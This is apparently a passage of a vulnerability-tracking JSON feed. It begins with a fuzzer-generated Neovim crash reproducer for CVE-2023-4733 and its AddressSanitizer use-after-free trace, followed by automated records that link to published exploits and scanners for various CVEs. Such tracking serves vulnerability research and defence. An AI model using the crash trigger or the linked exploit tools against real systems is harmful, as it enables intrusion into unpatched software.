23: se s}Ud<8a>h<8a><8a><8a><8a><8a>A^Z\n\nline   23:\nE518: Unknown option: s}Ud<8a>h<8a><8a><8a><8a><8a>A^Z\nline 24: -\n\nline 25: norm^E^E^Vm^E+^V<9b>;^V^V^El\n\nline 26: W\n\nline   26:\nE492: Not an editor command: W\nline 27: geeeeeeeeeeeee\n\nline   27:\nE492: Not an editor command: geeeeeeeeeeeee\nline 28: d<8b>\n\nline   28:\nE488: Trailing characters: d<8b>\nline 29:  @^P\n\nline   29:\nE354: Invalid register name: ''\nline 30: dr<80>|e^A\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 30: unlet! b:keymap_name\n\nline 30: e^A\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 30: unlet! b:keymap_name\n\nline 31: ^P\n\nline   31:\nE492: Not an editor command: ^P\nline 32: u\n\nAlready at oldest change\nline 33: <90>\n\nline   33:\nE492: Not an editor command: <90>\nline 34: <80> @d\n\nline   34:\nE492: Not an editor command: <80> @d\nline 35: uc\\^A\n\nline   35:\nE488: Trailing characters: uc\\^A\nline 36: g<9a>\n\nline   36:\nE35: No previous regular expression\nE476: Invalid command\nline 37: r\n\nline   37:\nE484: Can't open file \nline 38: d<8b>2\n\nline   38:\nE488: Trailing characters: d<8b>2\nline 39: W K2d K\n\nline   39:\nE492: Not an editor command: W K2d K\nline 40: t0]\n\nline 41: ^Po\"d\n\nline   41:\nE492: Not an editor command: ^Po\"d\nline 42: <8f>FK\n\nline   42:\nE492: Not an editor command: <8f>FK\nline 43: <85><8b>^De<89>ll\n\nline   43:\nE492: Not an editor command: <85><8b>^De<89>ll\nline 44: d 92\n\nline 45: d ^?\n\nline   45:\nE488: Trailing characters: d ^?\nline 46: t\n\nline   46:\nE16: Invalid range\nline 47: nFK^Rd\n\nline   47:\nE492: Not an editor command: nFK^Rd\nline 48: t0]\n\nline 49: eere ln^P^P^X\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 49: unlet! b:keymap_name\n\nline 50: o^P^EO,'\n\nline   50:\nE488: Trailing characters: o^P^EO,'\nline 51: b\n\nline   51:\nE94: No matching buffer for \nline 52:  ^PN,'\n\nline   52:\nE492: Not an editor command:  ^PN,'\nline 53:  \n\nline 54: norm:a^P^P^P^L^P^Q ^P^P^P^P^PM^P^P^L^P^Q ^P^P^P^P*^P^P^P^P^P^P,^A^P ^Pq^P^P^M^P^P^Lorm:s^P\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\^I^I^S<80>^Vg^I^P^P^P^P^M^P^P^P^P^P^P^]^P^O^P^P^P^NSSSSSSsSSd K t0]<80> \n:a\n\nline 55: ^Po^Sd\n\nline   55:\nE492: Not an editor command: ^Po^Sd\nline 56: nFK\n\nline   56:\nE492: Not an editor command: nFK\nline 57: t<8b>^Dl<9c>ll\n\nline   57:\nE16: Invalid range\nline 58: d K2\n\nline 59: d ^?\n\nline   59:\nE488: Trailing characters: d ^?\nline 60: d K\n\nline 61: t0\n\nline 62: nFQ\n\nline   62:\nE492: Not an editor command: nFQ\nline 63: t0H\n\nline 64: d ^?2\n\nline   64:\nE488: Trailing characters: d ^?2\nline 65: eGere ln\n\nline   65:\nE492: Not an editor command: eGere ln\nline 66: ln.lhe S$  ^_                 K\n\nline 67: t0\n\nline 68: }FKs<\n\nline   68:\nE492: Not an editor command: }FKs<\nline 69: se s}Ud<8a>h<8a><8a><8a><8a><8a>A^Z\n\nline   69:\nE518: Unknown option: s}Ud<8a>h<8a><8a><8a><8a><8a>A^Z\nline 70: -\n\nline 71: norm^E^E^Vm^E+^V<9b>;^V^V^El\n\nline 72: W\n\nline   72:\nE492: Not an editor command: W\nline 73: geeeeeeeeeeeee\n\nline   73:\nE492: Not an editor command: geeeeeeeeeeeee\nline 74: d<8b>\n\nline   74:\nE488: Trailing characters: d<8b>\nline 75:  @^P\n\nline   75:\nE354: Invalid register name: ''\nline 76: dr<80>|e^A\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 76: e^A\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 77: ^P\n\nline   77:\nE492: Not an editor command: ^P\nline 78: u\n\n2 fewer lines; before #1  0 seconds ago\nline 79: <90>\n\nline   79:\nE492: Not an editor command: <90>\nline 80: <80> @d\n\nline   80:\nE492: Not an editor command: <80> @d\nline 81: uc\\^A\n\nline   81:\nE488: Trailing characters: uc\\^A\nline 82: g<9a>\n\nline   82:\nE35: No previous regular expression\nE476: Invalid command\nline 83: r\n\nline   83:\nE484: Can't open file \nline 84: d<8b>2\n\nline   84:\nE488: Trailing characters: d<8b>2\nline 85: W K2d K\n\nline   85:\nE492: Not an editor command: W K2d K\nline 86: i0]\n\nline   86:\nE488: Trailing characters: i0]\nline 87: ^Po\"d\n\nline   87:\nE492: Not an editor command: ^Po\"d\nline 88: <8f>F\u03fc^?<88>R<85><8b>^De<89>ll\n\nline   88:\nE492: Not an editor command: <8f>F\u03fc^?<88>R<85><8b>^De<89>ll\nline 89: d 92\n\nline 90: d ^?\n\nline   90:\nE488: Trailing characters: d ^?\nline 91: _ K\n\nline   91:\nE492: Not an editor command: _ K\nline 92: t\n\nline   92:\nE16: Invalid range\nline 93: nFK^Rd\n\nline   93:\nE492: Not an editor command: nFK^Rd\nline 94: t0]\n\nline 95: eere ln\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 95: unlet! b:keymap_name\n\nline 96: ln.lhe  $  ^_*        ooooooooo  :     2\n\nline 97: eGere ln\n\nline   97:\nE492: Not an editor command: eGere ln\nline 98: lnt0!\n\nline   98:\nE492: Not an editor command: lnt0!\nline 99: ^Po^Sd\n\nline   99:\nE492: Not an editor command: ^Po^Sd\nline 100: nFS\n\nline  100:\nE492: Not an editor command: nFS\nline 101: t\n\nline  101:\nE16: Invalid range\nline 102: t0] ^?\n\nline 103: ^Po K\n\nline  103:\nE492: Not an editor command: ^Po K\nline 104: t0] ^?\n\nline 105: nFK\n\nline  105:\nE492: Not an editor command: nFK\nline 106: t\n\nline  106:\nE16: Invalid range\nline 107: t0]\n\nline 108: ^Po\n\nline  108:\nE492: Not an editor command: ^Po\nline 109: norm:a^P^P^P^L^P^Q ^P^P^P<87>\n:a\n\nline 110: ggggggggggggggggggggg^Ngr\n\nline  110:\nE492: Not an editor command: ggggggggggggggggggggg^Ngr\nline 111: br^N(\n\nline  111:\nE488: Trailing characters: br^N(\nline 112: ^\\elMl<84>\n\nline  112:\nE492: Not an editor command: ^\\elMl<84>\nline 113: new\n\nline 113: unlet! b:keymap_name\n\nline 114: autocmd ModeChanged v:* ++once close\n\nline 115: vnoremap x enew\n\nline 116: norm vx\nline 116: enew\n\nExecuting ModeChanged Autocommands for \"v:*\"\nautocommand close\n\nExecuting: close\n=================================================================\n==42437==ERROR: AddressSanitizer: heap-use-after-free on address 0x626000003308 at pc 0x0000006a9285 bp 0x7fff66f63400 sp 0x7fff66f633f8\nREAD of size 8 at 0x626000003308 thread T0\n    #0 0x6a9284 in buflist_altfpos /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:2949:46\n    #1 0x8f10ae in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2412:9\n    #2 0x967949 in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7536:9\n    #3 0x97b8f8 in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7464:3\n    #4 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #5 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #6 0xc74218 in nv_colon /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4082:20\n    #7 0xc69241 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1166:3\n    #8 0xc65b56 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7645:9\n    #9 0x96add0 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8743:5\n    #10 0x96ab16 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8726:3\n    #11 0x98360a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8658:7\n    #12 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #13 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #14 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #15 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #16 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #17 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #18 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #19 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #20 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n    #21 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n    #22 0x7f7577e0b082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #23 0x460f7d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x460f7d)\n\n0x626000003308 is located 520 bytes inside of 10896-byte region [0x626000003100,0x626000005b90)\nfreed by thread T0 here:\n    #0 0x4d943d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x4d943d)\n    #1 0xbdb6d4 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:122:3\n    #2 0x68d64e in apply_autocmds_group /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1892:7\n    #3 0x69088d in apply_autocmds /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1504:10\n    #4 0xfc8e92 in may_trigger_modechanged /home/zzw/Desktop/neovim/build/../src/nvim/state.c:256:3\n    #5 0xc58540 in end_visual_mode /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:2302:3\n    #6 0xc59ada in reset_VIsual /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:2323:5\n    #7 0x8f0d6f in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2385:3\n    #8 0x967949 in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7536:9\n    #9 0x97b8f8 in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7464:3\n    #10 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #11 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #12 0xc74218 in nv_colon /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4082:20\n    #13 0xc69241 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1166:3\n    #14 0xc65b56 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7645:9\n    #15 0x96add0 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8743:5\n    #16 0x96ab16 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8726:3\n    #17 0x98360a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8658:7\n    #18 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #19 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #20 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #21 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #22 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #23 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #24 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #25 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #26 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n    #27 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n    #28 0x7f7577e0b082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\npreviously allocated by thread T0 here:\n    #0 0x4d9832 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x4d9832)\n    #1 0xbdb76e in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:136:15\n    #2 0x1164d49 in win_alloc /home/zzw/Desktop/neovim/build/../src/nvim/window.c:4934:19\n    #3 0x1172431 in win_split_ins /home/zzw/Desktop/neovim/build/../src/nvim/window.c:1199:12\n    #4 0x115bf46 in win_split /home/zzw/Desktop/neovim/build/../src/nvim/window.c:949:10\n    #5 0x9661f7 in ex_splitview /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7262:14\n    #6 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #7 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #8 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #9 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #10 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #11 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #12 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #13 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #14 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n    #15 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n    #16 0x7f7577e0b082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:2949:46 in buflist_altfpos\nShadow bytes around the buggy address:\n  0x0c4c7fff8610: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4c7fff8620: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8630: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8640: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8650: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n=>0x0c4c7fff8660: fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8670: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8680: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8690: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff86a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff86b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==42437==ABORTING", "vulnerability": "CVE-2023-4733", "author": {"login": "automation"}}, {"uuid": "ea4cd7d1-a5c8-4612-9c58-2a83a8400744", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:13:37.075448+00:00", "type": "seen", "source": "https://bsky.app/profile/cvemon.bsky.social/post/3muu6hsalfu2r", "content": "CVE-2026-18330 is trending. Hype score 5, currently #8 on cvemon.\n\nA hard-coded cryptographic key vulnerability exists in the web module of TP-Link Archer AX55 v4. A LAN attacker who captures an HTTP login session may use the known shared RSA private\u2026\n\nhttps://cvemon.intruder.io/cves/CVE-2026-18330", "vulnerability": "CVE-2026-18330", "author": {"login": "automation"}}, {"uuid": "817176fc-542a-4209-afbe-564ae5d42f37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:13:35.894483+00:00", "type": "seen", "source": "https://bsky.app/profile/cvemon.bsky.social/post/3muu6hqahsn23", "content": "CVE-2026-18167 is trending. Hype score 5, currently #7 on cvemon.\n\nA stack-based buffer overflow vulnerability exists in the EasyMesh module of TP-Link Archer AX55 v4. When Mesh mode is enabled, a LAN attacker may submit crafted input that causes the\u2026\n\nhttps://cvemon.intruder.io/cves/CVE-2026-18167", "vulnerability": "CVE-2026-18167", "author": {"login": "automation"}}, {"uuid": "f0e3993e-3003-48de-98c3-a5aa9c737a16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:01:08.926992+00:00", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3muu5rh4ejm2v", "content": "\ud83d\udfe0 CVE-2026-19858 - High (7.5)\n\nThe JetFormBuilder \u2014 Dynamic Blocks Form Builder WordPress plugin before 3.6.5.2 does not perfo...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-19858/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "vulnerability": "CVE-2026-19858", "author": {"login": "automation"}}, {"uuid": "5ea64b09-a5b4-4d1d-9a48-fcaf9c33dd5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:48.525293+00:00", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3muu5qfieq42p", "content": "\ud83d\udfe0 CVE-2026-86259 - High (7.5)\n\nOpenMAIC before 1.0.1 skips server-side request forgery validation in non-production builds, allo...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-86259/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "vulnerability": "CVE-2026-86259", "author": {"login": "automation"}}, {"uuid": "b6d20730-e75e-42c6-a42d-8100d9bbade5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:06.453441+00:00", "type": "seen", "source": "https://t.me/HackingTeamGrupoOfficial/48863", "content": "\ud83d\udd25cPanel & WHM Authentication Bypass CVE-2026-41940\n\ud83d\udd17 https://github.com/watchtowrlabs/watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py", "vulnerability": "CVE-2026-41940", "author": {"login": "automation"}}, {"uuid": "b82167d0-ae77-4330-a5fd-5dbbe830b018", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:06.404333+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/192727", "content": "CVE-2026-34220 \u2014 Updated!\n\nSQL Injection vulnerability in MikroORM\nRead more...", "vulnerability": "CVE-2026-34220", "author": {"login": "automation"}}, {"uuid": "4e9c4d50-9544-4e0c-8797-fa915760336b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:06.348274+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/192722", "content": "CVE-2026-41940 \u2014 Updated!\n\nMass authentication bypass exploit for CVE-2026-41940 with single-target and batch scanning modes. Automates password-based bypass testing across multiple web targets.\nRead more...", "vulnerability": "CVE-2026-41940", "author": {"login": "automation"}}, {"uuid": "fb3cb188-17c4-4da3-8f88-a1f7b8178095", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:06.301073+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/192721", "content": "CVE-2026-30951 \u2014 Updated!\n\nSequelize JSON Cast SQL Injection\nRead more...", "vulnerability": "CVE-2026-30951", "author": {"login": "automation"}}, {"uuid": "f2ad183b-ada0-4a5d-bb0f-38a0f4eb33f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:06.255810+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/192720", "content": "CVE-2026-0603 \u2014 Updated!\n\nHibernate ORM Second-Order SQL Injection\nRead more...", "vulnerability": "CVE-2026-0603", "author": {"login": "automation"}}, {"uuid": "861d75a0-6bef-4787-9bf0-0b39395f10c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:06.209868+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/192732", "content": "CVE-2026-16723 \u2014 Updated!\n\nA critical vulnerability affecting Fastjson versions 1.2.68 \u2013 1.2.83.\nRead more...", "vulnerability": "CVE-2026-16723", "author": {"login": "automation"}}, {"uuid": "11315963-1ab0-45c8-a71d-3339c0f115f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:06.162478+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/192730", "content": "CICD-Goat-Vapt-Writeup \u2014 Updated!\n\nFull VAPT writeup of OWASP CICD-Goat \u2014 9 CTFd flags captured, 4 critical + 5 high findings (incl. CVE-2024-23897) mapped to the OWASP Top 10 CI/CD Security Risks, with PoCs, remediation, and interview-ready summaries.\nRead more...", "vulnerability": "CVE-2024-23897", "author": {"login": "automation"}}, {"uuid": "bc73e321-0324-4356-be48-35381e2eabbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:06.118337+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/192729", "content": "CVE-2026-8347 \u2014 Updated!\n\nCVE-2026-8347 is an Insecure Direct Object Reference (IDOR) combined with a wrong authorization level vulnerability in Concrete CMS versions 9.5.0 and earlier. The flaw exists in the Express association Reorder dialog, allowing a user with only view permissions on an Express entry to modify the ordering of associations for another entity.\nRead more...", "vulnerability": "CVE-2026-8347", "author": {"login": "automation"}}, {"uuid": "a6c5fe74-0eee-48f6-9511-b3c16f56f6e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:06.061402+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/192753", "content": "CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit \u2014 Updated!\n\nAdvanced React Server Components RCE scanner for CVE-2025-55182. Features: multi-stage fingerprinting, vulnerability verification, DNS exfiltration, interactive shell, payload obfuscation, and professional reporting (JSON/HTML/PDF). Authorized testing only.\nRead more...", "vulnerability": "CVE-2025-55182", "author": {"login": "automation"}}, {"uuid": "18bec8a3-e6d1-44fa-b113-2913bbfceb9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:06.013281+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/192754", "content": "Zapscape \u2014 Updated!\n\nGuest-to-host KVM/x86 escape exploiting CVE-2026-64561, delivering a full PoC chain and analysis for security researchers.\nRead more...", "vulnerability": "CVE-2026-64561", "author": {"login": "automation"}}, {"uuid": "bba3dc16-ee98-48d7-8087-14c494867f16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:05.966021+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/192942", "content": "Root-My-Device v0.0.7\n\nKSU installer for supported firmware with CVE-2026-43499\nRead more...", "vulnerability": "CVE-2026-43499", "author": {"login": "automation"}}, {"uuid": "aaf6cafc-cf24-4bb0-95d2-b3bcc99e884b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:05.914595+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/192977", "content": "Root-My-Device v0.0.7\nhttps://kitploit.com/en/posts/github-witaqua-tools-root-my-device-v007\n\nKSU installer for supported firmware with CVE-2026-43499", "vulnerability": "CVE-2026-43499", "author": {"login": "automation"}}, {"uuid": "9f71b831-4c66-43c9-985c-50b547038fde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:05.866055+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/192750", "content": "ncentral-compromise-ioc-triage \u2014 Updated!\n\nRead-only N-able N-central CVE-2026-18556/CVE-2026-18577 post-exploitation IoC hunter for Windows endpoints\nRead more...", "vulnerability": "CVE-2026-18577", "author": {"login": "automation"}}, {"uuid": "3b725669-57bd-4a29-bb75-5f36c05a32df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:05.814050+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/192750", "content": "ncentral-compromise-ioc-triage \u2014 Updated!\n\nRead-only N-able N-central CVE-2026-18556/CVE-2026-18577 post-exploitation IoC hunter for Windows endpoints\nRead more...", "vulnerability": "CVE-2026-18556", "author": {"login": "automation"}}, {"uuid": "50d3c650-2c07-49da-ba3b-859077e8faff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:05.759092+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/192751", "content": "llama-cpp-security-patches \u2014 Updated!\n\nSecurity patches for unpatched llama.cpp vulnerabilities (CVE-2026-43626 through CVE-2026-43632) \u2014 Cyera Research\nRead more...", "vulnerability": "CVE-2026-43626", "author": {"login": "automation"}}, {"uuid": "8875eb77-71fb-44d6-823f-7381964d8f92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:05.703703+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/192751", "content": "llama-cpp-security-patches \u2014 Updated!\n\nSecurity patches for unpatched llama.cpp vulnerabilities (CVE-2026-43626 through CVE-2026-43632) \u2014 Cyera Research\nRead more...", "vulnerability": "CVE-2026-43632", "author": {"login": "automation"}}, {"uuid": "d027cd3d-1993-4e19-9ef4-e388b82c05e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:05.653301+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/192747", "content": "CVE-2026-67620-poc \u2014 Updated!\n\nCVE-2026-67620 - Flowise SSRF via incomplete cloud-metadata deny-list (Oracle OCI 192.0.0.192 + Alibaba 100.100.100.200 bypass the DEFAULTDENYLIST)\nRead more...", "vulnerability": "CVE-2026-67620", "author": {"login": "automation"}}, {"uuid": "669abf52-126b-455d-833f-54e4c3f43043", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:05.594217+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/192748", "content": "CVE-2022-25012-dvr4-weak-password-encryption \u2014 Updated!\n\nDecrypts weak encrypted passwords from Argus Surveillance DVR systems via CVE-2022-25012, reconstructing plaintext credentials from DVRParams.ini ciphertext.\nRead more...", "vulnerability": 